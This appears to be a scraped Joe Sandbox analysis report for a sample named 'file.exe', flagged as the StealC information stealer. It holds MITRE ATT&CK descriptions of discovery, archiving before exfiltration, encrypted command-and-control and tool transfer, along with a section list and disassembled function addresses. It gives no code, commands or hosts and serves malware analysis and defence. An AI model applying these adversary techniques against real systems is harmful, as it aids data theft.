Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 00489860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00474880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00489C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00476280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00485510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 004817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00487500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 004869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00471220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00486AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 004851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON